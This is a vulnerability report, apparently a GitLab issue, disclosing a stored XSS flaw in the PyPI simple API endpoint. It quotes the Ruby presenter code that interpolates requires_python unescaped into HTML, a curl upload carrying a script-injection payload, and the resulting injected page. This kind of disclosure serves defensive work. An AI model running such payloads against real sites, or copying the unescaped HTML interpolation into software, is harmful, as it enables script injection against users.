Stored XSS on PyPi simple API endpoint

How it was found

Summary

The recently released PyPi package feature has a new endpoint at /api/:version/projects/:id/packages/pypi/simple/*package_name which exposes an HTML page listing the package versions. The package_link's are generated using the following code:

package_presenter.rb#L50

      def package_link(url, required_python, filename)
        "<a href=\"#{url}\" data-requires-python=\"#{required_python}\">#{filename}</a><br>"
      end

The only sanitation on required_python is that it is less than 50 characters (db constraint), otherwise arbitrary html can be injected.

Steps to reproduce

1. Create project

2. Create a pypi package with requires_python='"><script>alert(1)</script>'

curl -v "https://token:$[email protected]/api/v4/projects/18315917/packages/pypi" -F content=@/tmp/lala.txt -F requires_python=2.7 -F version=1 -F name='package_test_1' -F requires_python='"><script>alert(1)</script>' ````

1. Visit the simple api endpoint and see the injected code: https://gitlab.com/api/v4/projects/18315917/packages/pypi/simple/package_test_1

       <!DOCTYPE html>
       <html>
         <head>
           <title>Links for package_test_1</title>
         </head>
         <body>
           <h1>Links for package_test_1</h1>
           <a href="https://gitlab.com/api/v4/projects/18315917/packages/pypi/files/lala.txt#sha256=" data-requires-python=""><script>alert(1)</script>">lala.txt</a><br>
         </body>
       </html>
   

Currently will be blocked by the csp on gitlab.com

Impact

• An attacker could execute arbitrary javascript by sending a user or getting them to click on a url to the simple api endpoint

Examples

• https://gitlab.com/api/v4/projects/18315917/packages/pypi/simple/package_test_1

What is the current bug behavior?

The user supplied fields used by the package_presenter are not all sanitized

What is the expected correct behavior?

All of the user supplied fields in package_presenter should be sanitized before being turned into html

Output of checks

This bug happens on GitLab.com

Impact

• An attacker could execute arbitrary javascript by sending a user or getting them to click on a url to the simple api endpoint